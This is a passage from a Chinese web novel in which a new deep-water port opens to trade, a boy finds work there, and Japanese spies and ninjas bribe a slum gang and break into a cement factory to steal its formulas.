力工们激动得热泪盈眶!这是他们用血汗浇筑的丰碑! “通航——!!”林臻再次下令! 早已等候在引航船上的金吾卫水兵立刻升起信号旗! “呜——!!” “破浪号”率先拉响汽笛,巨大的船身在拖船的协助下,缓缓、精准地靠向一号泊位! 粗大的缆绳如同巨蟒般缠绕上系缆桩!船身与泊位轻轻碰撞,发出一声沉闷的轻响! “靠泊成功!!” “扬帆号”紧随其后,稳稳靠上二号泊位! 紧接着,高丽、倭国的商船也依次靠泊! “卸货——!!” 随着楚惜灵一声令下,港口这台庞大的机器瞬间进入高速运转状态! “天车”吊臂轰鸣! 巨大的铁钩探入船舱,将一捆捆铜线、一箱箱机械部件稳稳吊起,移向仓库! 力工营的号子声再次响起! 更加雄浑! 更加有力! 数百名力工如同奔腾的洪流,沿着栈桥涌上货轮! 两人一组,喊着整齐的号子,将沉重的麻袋(不再是水泥,而是来自南洋的香料、来自高丽的药材)扛上肩头,步履稳健地运下船,送入仓库! 汗水浸透了他们的衣衫,古铜色的皮肤在阳光下闪闪发光,脸上却洋溢着前所未有的自豪和干劲! 他们不再是卑微的苦力,而是这座伟大港口的建设者和见证者! “快!快!登记入库!!” “核对货单!!” “仓储组!按区码放!!” 张俪亲自坐镇在新建成的港口调度中心(一座三层砖混小楼)。 巨大的玻璃窗前,她俯瞰着繁忙的港口,手中拿着最新的货单和账册,声音清脆果断,指挥若定。 数十名经过严格培训的文书、账房、调度员在她的指挥下,如同精密的齿轮,高效运转着。 货物流转、信息传递、账目核算……一切井然有序! 这座深水港,不仅是一个物理枢纽,更是一个庞大而高效的商业信息与物流中心! 毛梦极按刀立于高台边缘,目光如鹰隼般扫视着整个港口。 金吾卫士兵们如同黑色的礁石,分布在各个要害位置,警惕的目光扫视着每一个角落。 港口外围,数艘装备了神臂弩和轻型火炮的巡逻快艇,劈波斩浪,来回巡弋,宣示着这片海域的主权和安全。 ??...... 深水港的正式通航,如同在平静的湖面投下巨石,瞬间在沪县商界掀起了滔天巨浪! 尤其是对那些持有“息壤”地块、之前还心怀忐忑的商贾们而言,这无疑是一剂强效的定心丸! 港口调度中心旁的“特区招商会馆”内,此刻已是人头攒动,气氛热烈! 原本宽敞的大厅被挤得水泄不通! 来自天南海北的商贾们,脸上不再是之前的疑虑和焦躁,取而代之的是难以抑制的兴奋、贪婪和一丝后怕的庆幸! “赵老板!李大人……唉……真是……”一个苏杭丝绸商摇着头,心有余悸地感叹,“幸好……幸好当初没跟着他们胡来啊!” “是啊!世子殿下真是神机妙算!言出必行!”旁边一个金陵粮商连忙附和,眼中充满了敬畏,“这港口!这气魄!这效率!简直是……神迹啊!” “神土!果然是神土!”一个扬州盐商激动地挥舞着手臂,“港口一通航!这崇明沙洲的地价怕是翻着跟头往上涨啊!” 第675章 霖哥儿的新生活 “翻跟头?我看是坐着马车往上窜!”一个操着闽南口音的海商两眼放光,“你们看看这港口吞吐量!看看这船!看看这规划!未来……这里就是第二个武清!不!比武清还要大!还要繁华!!” “世子殿下……真是我等的再生父母啊!”一个曾经对封锁政策牢骚满腹的商贾,此刻竟激动得热泪盈眶,“当初真是猪油蒙了心!竟然敢质疑殿下!该死!该死啊!” 招商会馆二楼雅间内,张俪正与几位实力最为雄厚的商贾代表进行闭门会谈。 气氛融洽而热烈。 “夫人!殿下高瞻远瞩!我等心悦诚服!”一位姓黄的中年人拱手道,语气恭敬,“首批入驻沪东工业园的协议,我们签!资金、设备、工匠,即刻到位!” “张夫人!我苏杭丝绸行会,愿在特区设立最大的织造分厂!引进最新式蒸汽织机!招募女工千人!”孙茂才迫不及待地表态。 “还有我们金陵钱庄!特区钱庄的筹备,我们全力支持!首批拆借资金,三百万两!明日即可到账!”周大福拍着胸脯保证。 张俪端坐主位,脸上带着雍容而精明的笑容,手中把玩着一柄精巧的玉如意: “诸位老板的诚意,殿下已知晓,亦深感欣慰。” 她话锋一转,带着一丝不容置疑的掌控: “殿下有言,息壤神土,福泽万世。然,开发建设需循序渐进,更需遵守特区法度!” 她目光扫过众人,带着一丝深意: “首批开发许可,将优先授予在沪东工业园有实质性投资、且信誉卓著者。开发规划,需经总署规划建设司严格审核批复,必须符合特区整体规划及环保要求。建设过程,需接受特区工部全程监督!” “至于地块价值……”张俪微微一笑,笑容中带着商界女王特有的锐利,“殿下说了,市场自有公论。但若有囤积居奇、哄抬地价、扰乱市场秩序者……” 她没有说下去,只是端起茶杯,轻轻呷了一口。 但所有人都想起了挂在东门城楼上那颗血淋淋的高丽人头!和苦役营里那两个生不如死的巨贾! 众人心中一凛,连忙表态: “夫人放心!我等绝不敢有违殿下钧令!” “定当遵纪守法!诚信经营!” “一切唯殿下马首是瞻!” 资本的洪流,在铁腕的震慑和巨大利益的诱惑下,终于被彻底驯服,开始沿着林臻规划的河道,汹涌奔腾! ??...... 港口建设工地上,依旧是一片热火朝天。但此刻的忙碌,已不再是初期的混乱与艰辛,而是充满了秩序与效率的轰鸣。 霖哥儿瘦小的身影,正推着一辆特制的、装着轴承的小推车,在平整的栈桥上飞快地奔跑着。 小推车上装着几捆沉重的铜线。 他穿着一身洗得发白、却干净整洁的蓝色粗布工装,头上戴着藤盔,小脸上沾着油污,却神采奕奕,眼神明亮而专注。 “霖哥儿!这边!乙三仓库!快!”一名工头大声招呼。 “来了!”霖哥儿脆生生地应道,脚下步伐更快! 他动作麻利,力气也比一个月前大了许多。 他不再是那个蜷缩在破屋里瑟瑟发抖的孩子,而是港口力工营里一名正式的、能拿工钱的“小工”! 一个月前,他举报朴昌范等人有功,得到了毛梦极一句“有功,当赏”的评价。 张俪夫人亲自过问,特批他进入港口力工营,做了一名负责跑腿、送料、清理工具的“小工”。 虽然工钱不多,但管吃管住,衣服干净暖和。 更重要的是,这里没有人知道他的过去,没有人用异样的眼光看他。 他凭力气吃饭,凭勤快挣工钱! 每天收工后,他还会跑到工坊区,远远地看看他娘下工的身影。 娘穿着干净的工装,和姐妹们有说有笑地走出来,脸上带着他从未见过的、轻松而满足的笑容。 那一刻,霖哥儿觉得,再苦再累都值得! “嘿!小霖子!手脚挺麻利啊!”一个粗壮的力工拍了下他的肩膀,咧嘴笑道。 “张大哥!”霖哥儿腼腆地笑了笑,露出两颗小虎牙。 “好好干!月底评‘勤快星’,我看你小子有戏!评上了能多拿五十文呢!”张大哥鼓励道。 “嗯!”霖哥儿用力点头,眼中充满了干劲和希望。 他推着小车,飞快地跑向仓库,小小的身影在巨大的吊臂和货堆间穿梭,充满了生命的活力。 ??...... 深夜,沪县新城边缘,一片尚未完全建成的、供力工临时居住的简易板房区。 月光昏暗,寒风呼啸。 毛梦极如同鬼魅般,悄无声息地出现在一处板房的阴影里。 他健硕的身影几乎与黑暗融为一体。 两名穿着夜行衣、气息内敛的金吾卫暗卫单膝跪在他面前。 “查清楚了?”毛梦极的声音如同砂纸摩擦,冰冷刺骨。 “禀将军!”一名暗卫低声道,“属下等连日追踪,发现那几名倭国浪人,并非单纯的海寇。他们行踪诡秘,多次在港口外围测绘水文,尤其对泊位结构、炮台位置(规划中)窥探甚多!且他们与城内高丽参行的朴昌范余党,有过秘密接触!” “朴昌范虽死,其手下尚有数名心腹潜伏。他们似乎在暗中收购流民手中的特区粮票,并散播谣言,诋毁世子殿下苛待劳工、侵吞粮饷!”另一名暗卫补充道。 “哼!”毛梦极眼中寒光一闪,“倭寇贼心不死!朴昌范余孽,不知死活!” 他沉默片刻,声音带着森然杀意: “继续盯紧!摸清他们所有据点、联络方式!尤其是他们背后是否还有更大的黑手!” “记住!不要打草惊蛇!要一网打尽!” “是!”两名暗卫领命,身影瞬间融入黑暗。 毛梦极站在阴影中,望向远处灯火通明的港口和更远处漆黑如墨的海面。 他脸上的刀疤在月光下显得格外狰狞。 沪县的崛起,如同黑夜中的灯塔,吸引了航船,也引来了鲨鱼。 平静的海面之下,暗流汹涌,杀机四伏! 第676章 倭国人 长江入海口,黎明前最黑暗的时刻。 浓重的海雾如同湿冷的裹尸布,沉甸甸地覆盖在波涛汹涌的海面上。 风不大,却带着刺骨的寒意和浓烈的咸腥,卷起浑浊的浪花,一遍遍拍打着崇明沙洲外围那片犬牙交错的黑色礁石群,发出永不停歇的、如同巨兽磨牙般的低沉轰鸣。 在这片被遗忘的险恶之地,连海鸟都踪迹罕至,只有浪涛与岩石永恒地角力。 就在这片被浓雾和黑暗笼罩的礁石滩深处,一处被巨大嶙峋怪石环抱、如同天然瓮城的隐蔽水湾里,水面微微荡漾,打破了死寂。 一艘低矮狭长、通体涂着哑光黑漆、几乎与墨色海水融为一体的高丽式“板屋船”,如同从深渊中悄然浮出的幽灵,悄无声息地滑入湾内。 船身没有任何灯火标识,低矮的船舱紧闭,船帆早已降下,仅凭船舷两侧伸出的四支沉重木桨,在数名精悍水手无声而有力的操控下,桨叶入水无声,只在水面留下几圈微不可察的涟漪。 船首尖锐如刀,破开浓雾,精准地、如同情人般轻柔地靠上湿滑冰冷的岩壁,船身与岩石接触,发出一声微不可闻的、如同叹息般的轻响。 船首甲板,一个身影如同礁石般凝立不动,任凭带着咸腥水汽的寒风卷动他深灰色的蓑衣下摆。 他身材并不高大,甚至略显瘦削,却异常挺拔,如同插在船头的标枪。深青色、质地精良的倭国“直垂”便服在蓑衣下若隐若现,勾勒出紧实的身形轮廓。 海风吹拂着他略显花白、却梳理得一丝不苟、紧贴头皮向后梳拢的鬓角,露出一张棱角分明、如同刀劈斧凿般的脸庞。岁月在他额角和眼角刻下了深刻的纹路,却无损那双眼睛的锐利。 此刻,那双眼睛在浓雾与黑暗的掩护下,闪烁着鹰隼般冰冷、锐利、仿佛能穿透一切迷雾的光芒,死死锁定在远方那片被微弱晨曦勾勒出的、灯火通明的巨大轮廓上——沪县深水港! 即便隔着如此遥远的距离,那喧嚣鼎沸的人声、震耳欲聋的汽笛、以及巨大吊臂在晨光中投下的狰狞剪影,都如同实质般冲击着他的感官! 一股混杂着震惊、忌惮、以及更深处被点燃的、名为贪婪与征服的火焰,在他眼底无声燃烧。他便是萨摩藩主岛津义久最信任的胞弟,肩负着绝密使命潜入大乾沪县的特使——岛津义弘(化名岛津久助,高丽参商)。 “大人,已抵预定锚地。”一个低沉沙哑、如同砂纸摩擦的声音在身后响起。 说话者身材矮壮敦实,如同一块移动的花岗岩,脸上那道从眉骨斜劈至嘴角的狰狞刀疤,在昏暗的光线下如同一条扭曲的蜈蚣,正是岛津家臣,以悍勇冷酷著称的武士——赤星忠直。 他按着腰间的倭刀,眼神警惕地扫视着四周嶙峋的怪石和翻涌的浪涛。 岛津义弘微微颔首,没有回头,声音低沉而平稳,带着一种久居上位的威严:“‘鼠’放出去了吗?” “服部大人已率‘鼠组’先行潜入。目标:港口工料司、水泥厂、金吾卫东营哨所。”赤星忠直躬身回答,声音压得极低,“按计划,三日内必有回音。” “很好。”岛津义弘的目光依旧没有离开远方的港口,仿佛要将那片沸腾的土地烙印在脑海中,“金顺义那边?” “已按新约定的‘鱼鹰’暗号联络,确认安全。他的人在新码头‘福昌鱼获行’后巷接应。” “准备登陆。”岛津义弘终于收回目光,转身,蓑衣下摆划出一道冰冷的弧线,“记住,我们现在是来自釜山的高丽参商,岛津久助。你,是我的护卫,赤星直。” “是!久助老爷!”赤星忠直立刻躬身应道,神态语气瞬间切换成一个沉默寡言、忠心耿耿的护卫。 片刻后,一艘仅容三四人、同样涂着黑漆的小舢板被无声地放入水中。 岛津义弘和赤星忠直登上舢板,两名水手熟练地划动船桨,小舢板如同一条灵活的黑色游鱼,贴着湿冷的礁石壁,悄无声息地滑出水湾,融入浓雾弥漫的海面,朝着沪县老城区的方向驶去。 天色微明,浓雾尚未完全散去,但沪县老城区已如同苏醒的巨兽,开始发出嘈杂的声响。 狭窄、污水横流的街道上,人流开始汇聚。推着独轮车的小贩吆喝着售卖热腾腾的早点(油条、豆浆、粢饭团),空气中弥漫着油炸面食的香气、劣质煤球燃烧的烟味、以及一种底层市井特有的、混合着汗臭、垃圾和廉价脂粉的浑浊气息。 今天是深水港通航庆典的日子,空气中弥漫着一种躁动不安的兴奋,连带着街边的乞丐似乎都比往日多了几分精神。 岛津久助和赤星直混在入城的人流中,毫不起眼。 岛津久助换上了一身质地尚可但款式普通的靛蓝色福字纹锦缎长袍,外罩一件半旧的玄色棉马褂,头戴一顶常见的瓜皮小帽,手中还假模假式地拿着一杆黄铜烟袋锅,活脱脱一个奔波劳碌的中年行商模样。 赤星直则是一身短打劲装,外罩半旧羊皮袄,腰挎一把用布包裹着的长刀(伪装成防身兵器),推着一辆装着几个大木箱的独轮车,木箱上贴着“高丽上品山参”的红纸,沉甸甸的,里面确实装着一些品相普通的高丽参作为掩护。 两人随着人流,穿过嘈杂的街市,拐进一条更加狭窄、污水横流、两侧堆满垃圾和破筐烂篓的背街小巷。 巷子深处,一间门脸不大、挂着“福昌鱼获行”褪色幌子的铺面,门窗紧闭,透着一股与周围喧嚣格格不入的冷清和破败,浓烈的鱼腥味几乎令人作呕。 赤星直上前,用一种特殊的节奏——三长两短,停顿,再一长——轻轻叩响了紧闭的门板。 门内沉寂片刻,随即传来一阵窸窸窣窣的声响和压抑的咳嗽声。接着,“吱呀——”一声轻响,门板拉开一条仅容一人侧身通过的缝隙,一张带着谄媚笑容、却难掩紧张和恐惧的精瘦脸庞探了出来,正是高丽间谍金顺义。 他小眼睛飞快地扫视了一下巷子两头,确认无人注意,才压低声音,带着哭腔般急切地说道:“岛津大人!您可算来了!快!快请进!” 岛津久助面无表情,微微颔首,率先侧身挤入门内。 赤星直紧随其后,将独轮车也推了进去。金顺义立刻紧张地关上门,插上门栓,又搬过一个沉重的破木柜顶住门板,动作慌乱。 铺面内光线昏暗,弥漫着一股浓烈的、令人窒息的鱼腥和咸臭味。 货架上稀稀拉拉地挂着几条风干的咸鱼,地上堆放着几个破旧的鱼篓和散发着恶臭的渔网。 显然,这里只是个掩护。 金顺义顾不上招呼,连忙将两人引入后堂一间更加狭小、仅有一扇糊着厚纸的小窗透进微光的密室。 密室中央摆着一张矮几和几个蒲团,角落里堆着几个蒙尘的麻袋,空气中混杂着鱼腥和陈茶的古怪气味。 “大人!您可要救救小人啊!”门帘刚放下,金顺义就“噗通”一声跪倒在地,涕泪横流,声音带着极度的恐惧, “沪县现在就是龙潭虎穴,那个金吾卫的毛梦极,简直不是人!是条疯狗!鼻子比鲨鱼还灵!朴昌范那个蠢货的脑袋还挂在东门城楼上风干呢,那就是前车之鉴啊!小人差点就被他牵连了!幸好……幸好小人机灵,提前把那些来往的信件都烧了,又花了五十两银子买通了牢里的一个狱卒,让他闭嘴……才躲过一劫啊!” 第677章 求大人救命 他一边说,一边用袖子擦着冷汗,身体抖如筛糠。 岛津久助盘膝坐在蒲团上,眼神冰冷地看着金顺义的表演,如同在看一只摇尾乞怜的癞皮狗。 赤星直按刀侍立一旁,眼神中充满了毫不掩饰的鄙夷。 “够了。”岛津久助的声音不高,却带着一种不容置疑的威压,瞬间压住了金顺义的哭嚎,“我让你办的事,如何了?” 金顺义浑身一激灵,连忙止住哭声,用袖子胡乱擦了把脸,脸上挤出比哭还难看的谄笑:“办……办成了!大人!小人拼了这条老命,也给您办成了!” 他如同献宝般,手忙脚乱地从怀里掏出一个用油布层层包裹、还带着体温的小包。 他颤抖着双手,一层层剥开油布,露出里面一卷泛黄的、边缘磨损的图纸。 “大人您看!”金顺义将图纸在矮几上小心翼翼地摊开,小眼睛里闪烁着邀功的精光,“这是港口工料司的草图,小人花了足足八十两黄金买通了工料司一个管仓库的小吏,叫王二!那是个烂赌鬼,欠了一屁股阎王债!小人趁他喝醉了,连哄带吓……才让他偷偷描摹出来的!” 图纸展开,线条粗糙,墨迹深浅不一,显然是仓促间描摹。 但上面的内容却让岛津久助的眼神瞬间锐利起来! 图纸上清晰地标注着深水港一期工程的核心区域——一号、二号万吨泊位的结构草图! 虽然细节模糊,但关键部位清晰可见:泊位下方用粗线勾勒出的、如同笼子般的结构(钢筋笼),上方标注着“巨石铺面”(混凝土),旁边还用小字潦草地写着“硬逾精铁,刀劈难伤”。旁边是几处巨大的“天车”吊臂的示意图,关键部位如“转轴”(轴承)、“绞盘心”(齿轮箱)被特意圈出,旁边标注着“易损”、“需常抹油”。 更令人心惊的是,图纸边缘还歪歪扭扭地画着金吾卫在港口外围的几个固定岗哨位置,旁边标注着模糊的换班时间:“东哨,辰时三刻换”、“西角楼,午时正换”。 “还有!还有这个!”金顺义不等岛津久助细看,又如同变戏法般从怀里掏出另一个更小的油纸包。 他小心翼翼地打开,里面是一些灰黑色、颗粒粗糙、散发着浓烈石灰和矿渣混合气味的粉末。“大人!这就是那种‘神土’,就是能变成石头的灰粉!小人……小人买通了水泥厂一个倒夜香的!叫李老蔫!让他每天倒夜香的时候,偷偷从废料堆最底下刮一点干净的!攒了……攒了小半个月才这么点!虽然不知道具体怎么配,但绝对是那东西!错不了!” 岛津久助伸出两根手指,捻起一小撮粉末,凑到鼻尖深深一嗅。 那股浓烈、刺鼻、带着硫磺和金属气息的味道,让他眉头微蹙,但眼底深处却闪过一丝难以抑制的贪婪。 他不动声色地将粉末包好,目光重新落回金顺义脸上,那冰冷的审视让金顺义浑身发毛。 “做得不错,金老板。”岛津久助的声音依旧平淡,却带上了一丝难得的“赞许”,“萨摩藩,不会亏待有功之臣。” 金顺义脸上瞬间绽放出狂喜的光芒,如同久旱逢甘霖:“谢大人!谢大人!小人……小人愿为萨摩藩,为岛津大人,赴汤蹈火,在所不辞!” “不过……”岛津久助话锋一转,眼神陡然变得锐利如刀,“这些还不够。我要的,是那能让铁船无帆自动的大船!是它的图纸!或者它的‘心脏’(核心部件)!你能弄到吗?” 金顺义脸上的狂喜瞬间僵住,如同被泼了一盆冰水,冷汗“唰”地一下冒了出来:“大人,您说的该不会是大乾的蒸汽机吧?大人……那……那可是在武清机械厂分厂!在在工业园最里面!有……有金吾卫重兵把守!连只苍蝇都飞不进去啊!小人……小人……” “事在人为。”岛津久助打断他,声音带着一种不容置疑的压迫,“想想息壤!想想未来那取之不尽的金山银山!只要你能办成此事,未来沪县开发,必有你金氏一族一席之地!否则……” 他冷哼一声,右手做了一个极其隐蔽的、抹喉的动作。 金顺义脸上的肥肉剧烈地抽搐着,眼中充满了恐惧和贪婪的激烈斗争。 最终,贪婪压倒了恐惧。他一咬牙,脸上露出一种豁出去的狠厉:“小人……小人明白了!小人……一定想办法!一定!” 就在这时,密室那厚重的门帘,如同被一阵微风吹动般,无声无息地掀开了一道缝隙。 一个身影如同融入阴影的墨汁,悄无声息地滑了进来,单膝跪在岛津久助面前。 来人全身包裹在漆黑的夜行衣中,只露出一双毫无感情、如同深潭古井般的眼睛,正是伊贺忍众首领——服部半藏。 “半藏,情况如何?”岛津久助目光转向他,语气带着一丝不易察觉的急切。 “港口戒备森严,金吾卫暗桩密布,核心区域难以靠近。水泥厂外围已探明,但核心窑炉区有古怪,夜间有异光闪烁。” 服部半藏的声音如同风吹过枯叶,毫无波澜,却字字清晰,“另,‘鼠组’在流民窟发现一股势力,‘蝎子帮’,头目‘黑蝎’,可用。” “黑蝎?”岛津久助眉头微挑。 “孤儿流民首领,心狠手辣,手下聚拢亡命徒数十人,控制码头附近三片窝棚区。贪财,嗜赌,与工头结仇,手下人命不止一条。”服部半藏汇报道,如同在陈述一件无关紧要的物品,“可用金钱收买,替我们做‘脏活’,如盯梢、制造小混乱、甚至清除障碍。” “接触他。”岛津久助毫不犹豫地下令,“告诉他,为我们做事,银子、女人,管够。但若敢有异心……”他眼中寒光一闪,右手再次做了那个抹喉的动作。 “是!”服部半藏领命,身影一晃,如同鬼魅般再次融入门帘后的阴影中,消失不见,仿佛从未出现过。 第678章 黑帮? 当夜,子时。 沪县新城边缘,一片由废弃木料、破油毡、烂泥和绝望构筑而成的巨大贫民窟——俗称“蝎子窝”。 这里是阳光永远照不到的角落,是罪恶滋生的温床。 污水在泥泞的小巷里肆意横流,散发着令人作呕的恶臭。 破败的窝棚如同肿瘤般密密麻麻地挤在一起,低矮、阴暗、潮湿。空气中弥漫着劣质烟草、腐烂食物、排泄物和一种名为“绝望”的窒息气息。 偶尔有瘦骨嶙峋的野狗在垃圾堆里翻找食物,发出低沉的呜咽。这里是金吾卫巡逻队都极少深入的法外之地,是“黑蝎”统治的黑暗王国。 窝棚区最深处,一间相对“宽敞”的窝棚里,点着一盏如豆的油灯,光线昏暗摇曳。 窝棚用破木板和烂油毡勉强搭成,四处漏风,地上铺着发霉的稻草和破席。 一个身材干瘦、如同竹竿般的男人盘腿坐在草席上。 他脸上斜贯着一条蜈蚣般的狰狞刀疤,从左眼角一直撕裂到右嘴角,让整张脸显得扭曲而凶戾。 一双三角眼在昏暗的光线下闪烁着阴鸷、多疑、如同毒蛇般的光芒。他便是“蝎子帮”的头目,人称“黑蝎”。 他面前的地上,散乱地丢着几枚油腻的铜钱和一个空酒壶,空气中弥漫着劣质烧刀子的刺鼻气味。 油灯的火苗猛地一晃!一股阴冷的、带着海腥味的气息毫无征兆地涌入窝棚。 “谁?!”黑蝎猛地抬头,三角眼中爆射出凶光,右手如同闪电般摸向藏在草席下的短刀刀柄! “给你送富贵的人。”一个沙哑低沉、如同砂纸摩擦喉咙的声音,毫无征兆地在窝棚角落的阴影中响起。服部半藏的身影如同从黑暗中凝结而出,静静地站在那里,仿佛他本就属于那片阴影。 “倭人?”黑蝎瞳孔微缩,身体瞬间绷紧,如同蓄势待发的毒蛇,死死盯着这个不速之客。对方身上那股冰冷的、如同实质般的杀气,让他感到一阵心悸。 服部半藏没有回答,只是随手将一个沉甸甸的粗布口袋丢在黑蝎面前的草席上。口袋口松开,发出“哗啦”一声脆响! 白花花、在油灯下闪烁着诱人光芒的银锭滚落出来! 足有十锭! 五十两白银! 黑蝎的呼吸瞬间变得粗重无比! 三角眼中的凶戾瞬间被贪婪的火焰吞噬! 他喉结滚动,下意识地伸出手想去抓,但多年的亡命生涯让他强行压住了冲动,阴恻恻地问:“倭人,你想让老子做什么?杀人?还是放火?” 声音嘶哑,如同夜枭。 “小事。”服部半藏的声音依旧毫无波澜,仿佛在谈论天气,“你的人,熟悉码头和工厂区的地形。帮我们盯几个人:港口工料司的王二狗,水泥厂倒夜香的李老蔫,还有……金吾卫东营那个爱打瞌睡的哨兵头目‘刘大眼’。把他们每天的行踪、习惯、常去的地方、怕什么、喜欢什么……事无巨细,报上来。” “就这?”黑蝎有些不信,五十两银子就为了盯几个小喽啰? “还有……”服部半藏的声音陡然转冷,如同冰锥刺骨,“必要时,制造点小麻烦。比如让某个总克扣你们工钱的工头‘不小心’摔断腿,或者让某个堆放杂物的仓库‘意外’失个小火。动静不要太大,但要足够烦人。让那些金吾卫的狗腿子疲于奔命。” 黑蝎舔了舔干裂起皮的嘴唇,眼中闪过一丝残忍的快意:“嘿嘿……这个老子在行!老子的兄弟早就看那些工头不顺眼了!不过……” 他话锋一转,三角眼贪婪地盯着服部半藏,“这点银子怕是只够盯梢的钱。要动手得加钱!” “事成之后,再加五十两。”服部半藏毫不犹豫,仿佛丢出去的不是银子而是石头,“另外还有两个从倭国带来的、水灵的‘游女’(妓女),随你享用。” 他拍了拍手。 窝棚门帘无声掀开,两个穿着艳丽和服、脸上涂着厚厚白粉、眼神空洞麻木的年轻女子,如同木偶般被推了进来。 她们身形窈窕,但在昏暗的油灯下,却透着一股令人不安的死气。 黑蝎的目光瞬间被吸引,淫邪的光芒在三角眼中熊熊燃烧!他猛地一拍大腿,发出夜枭般的怪笑:“哈哈哈!好!够爽快!成交!!” 服部半藏不再多言,身影如同融入黑暗般,连同那两个女子,悄无声息地消失在门帘后。 窝棚里,只剩下黑蝎抱着那袋银子,对着两个瑟瑟发抖的倭国女子,发出压抑不住的、如同野兽般的低笑。 三日后,深夜。 子时三刻。 浓云蔽月,星辉黯淡。 沪县新城西郊,远离港口喧嚣和庆典光芒的腹地,一片被高大砖墙严密围起的巨大厂区,如同沉默的巨兽匍匐在浓重的夜色中。 这里便是沪县特区的命脉之一——沪县第一水泥厂?! 空气中弥漫着浓烈到刺鼻的石灰粉尘气味,混合着硫磺、矿渣和某种高温煅烧后特有的焦糊气息。 几座高达十数丈的巨大窑炉如同沉默的巨人,炉膛内暗红色的火光透过观察孔和缝隙隐隐透出,将周围映照得一片诡异昏红。 高耸的烟囱如同通往地狱的管道,在夜空中喷吐着滚滚浓烟,将本就稀薄的星光彻底遮蔽。 厂区守卫森严!高墙上设有瞭望塔,隐约可见金吾卫士兵持弩巡逻的身影。 大门紧闭,有专人值守,门楼上悬挂着两盏昏黄的气死风灯。 墙头甚至拉起了缠绕着铁蒺藜的绳索。然而,再坚固的堡垒,也挡不住黑暗中窥伺的眼睛和无声渗透的利爪。 厂区东北角,一处相对偏僻、靠近废料堆积区(堆积着冷却的矿渣和废弃的耐火砖)的围墙外。 几道如同壁虎般紧贴墙根的黑影,在夜色的完美掩护下,如同流淌的墨汁,悄无声息地移动着。 正是服部半藏亲自率领的“鼠组”精锐——五名伊贺上忍!他们全身包裹在特制的吸光夜行衣中,脸上戴着只露出眼睛的黑色面罩,呼吸绵长几不可闻,动作轻盈得如同没有重量。 他们早已通过黑蝎提供的详尽情报,锁定了此段围墙的致命弱点——一段因下方地基是松软的淤积层,导致墙体出现细微但贯穿性的沉降裂缝。 裂缝位置隐蔽,在墙根杂草丛生处。同时,也精确掌握了巡逻队经过此处的间隔时间——大约一炷香(30分钟),且换岗时会有短暂的空隙。 服部半藏隐在阴影中,如同雕塑般静止片刻,锐利的目光扫过墙头和高墙内的阴影。 他竖起两根手指,向前轻轻一点。 第679章 偷东西 一名代号“土蜘蛛”的忍者如同鬼魅般滑出。 他从怀中掏出一个扁平的、用鲨鱼皮缝制的囊袋,拔掉塞子,将一种粘稠、漆黑、散发着强烈刺鼻酸味的液体,小心翼翼地、均匀地涂抹在墙体的裂缝处。 液体接触到潮湿的砖石和灰浆,立刻发出极其轻微的“滋滋”声,冒出缕缕几乎看不见的白烟! 这是伊贺秘传的“蚀墙水”,由浓硝酸、王水混合数种腐蚀性矿物提炼而成,能快速软化、溶解砖石和灰浆的粘结物! 仅仅过了半盏茶(约5分钟)功夫,墙体被腐蚀的区域明显变得松软、酥脆。 另一名代号“穿山甲”的忍者上前,双手戴着特制的、指套镶嵌着金刚石颗粒的鹿皮手套,如同最灵巧的鼹鼠,开始无声而快速地挖掘、掏空被腐蚀的砖块和灰浆。 他的动作精准而高效,碎屑被小心地收集在皮袋中,不发出任何声响。 很快,一个仅容一人匍匐通过的、边缘参差不齐的洞口出现在墙根。 服部半藏眼中寒光一闪,率先如同灵蛇般钻入洞口,动作轻盈迅捷,没有带起一丝尘土。其余四名忍者紧随其后,鱼贯而入。 厂区内,景象与外围的寂静截然不同。 巨大的球磨机如同沉睡的巨兽,内部隐约传来矿石滚动的沉闷声响。 高大的立窑如同沉默的火山,炉膛内暗红色的火光透过耐火砖的缝隙透出,散发出灼人的热浪。 粗大的金属管道如同巨蟒般蜿蜒盘绕,连接着各个设备,表面覆盖着厚厚的隔热石棉层,摸上去依旧滚烫。 空气中粉尘弥漫,能见度极低,只有远处几盏昏暗的防爆风灯,如同鬼火般在粉尘中摇曳。 服部半藏如同融入阴影的鬼魅,凭借着“鼠组”提前踩点绘制的简易地图和超人的感知力,在管道、设备、堆积如山的原料(石灰石、粘土)的阴影中无声穿梭。 目标明确——厂区核心的“配方调配室”和“核心窑炉控制间”! 根据情报,那里存放着水泥的原始配方记录、关键的温度控制参数,甚至可能有正在进行的新型配方试验数据! 他们如同行走在迷宫的幽灵,完美避开了两队巡逻的厂卫(非金吾卫,装备简陋,警惕性较低)。 这些厂卫提着昏暗的灯笼,哈欠连天,脚步拖沓,丝毫没有察觉到死神正与他们擦肩而过。 配方调配室位于厂区中部一座相对独立的砖混小楼内。门口挂着一把黄铜大锁,锁身厚重,结构复杂。 代号“锁匠”的忍者(代号“千面狐”)无声上前,从腰间特制的皮囊中取出几件细如发丝、形状各异的精钢探针和钩具。 他屏住呼吸,将一根探针插入锁孔,侧耳倾听,手指以肉眼难辨的速度进行着极其细微的拨动和试探。 他的动作轻柔得如同抚摸情人的肌肤,全神贯注。锁芯内部簧片微弱的弹跳声,在他耳中如同雷鸣。 “咔哒…咔哒…”几声几不可闻的轻响传来。 “千面狐”眼中精光一闪,手腕极其轻微地一抖! “嗒!” 一声清脆悦耳的机括弹开声! 锁开了! 伊贺秘技——?“万钥开”??!名不虚传! 服部半藏闪身进入调配室。 室内弥漫着浓烈的粉尘和化学药剂的混合气味,有些刺鼻。 借着窗外远处窑炉透来的微弱红光,可以看到墙上挂着巨大的工艺流程示意图板,桌上散落着一些记录簿、图纸和装着五颜六色粉末的玻璃罐。 他的目光如同探照灯般扫过,瞬间锁定墙角一个厚重的铸铁文件柜!柜门同样挂着一把造型奇特、锁孔呈梅花状、显然更加高级的暗锁! “开!”服部半藏低喝,声音带着一丝不易察觉的急切。时间紧迫! “千面狐”再次上前,将工具插入梅花锁孔。 然而,他的手指刚动了几下,脸色就微微一变!这锁……内部结构极其复杂! 簧片交错,还有类似自毁的卡榫装置!绝非普通锁具! “大人……这锁有古怪!是……是‘九宫梅花芯’!强开会触发自毁!” 千面狐的声音带着一丝罕见的紧张和凝重。 服部半藏眼神一厉!没有时间犹豫了! 他当机立断:“退开!” 他上前一步,从怀中贴身皮囊内取出一个扁平的紫铜方盒。 打开盒盖,里面整齐地排列着几根粗细不同的紫铜管、一小瓶粘稠如蜜的黑色液体、一小卷极细的黑色引线、以及几块指甲盖大小的灰色块状物(硝化棉与硫磺的混合物)。 他动作快如闪电,将黑色液体小心注入一根中空的紫铜管中,然后将铜管前端插入梅花锁孔深处!接着,将一小块灰色块状物塞入铜管后端,插入一根极细的引线!整个过程在数息内完成! “雷火破!退!”服部半藏低吼! 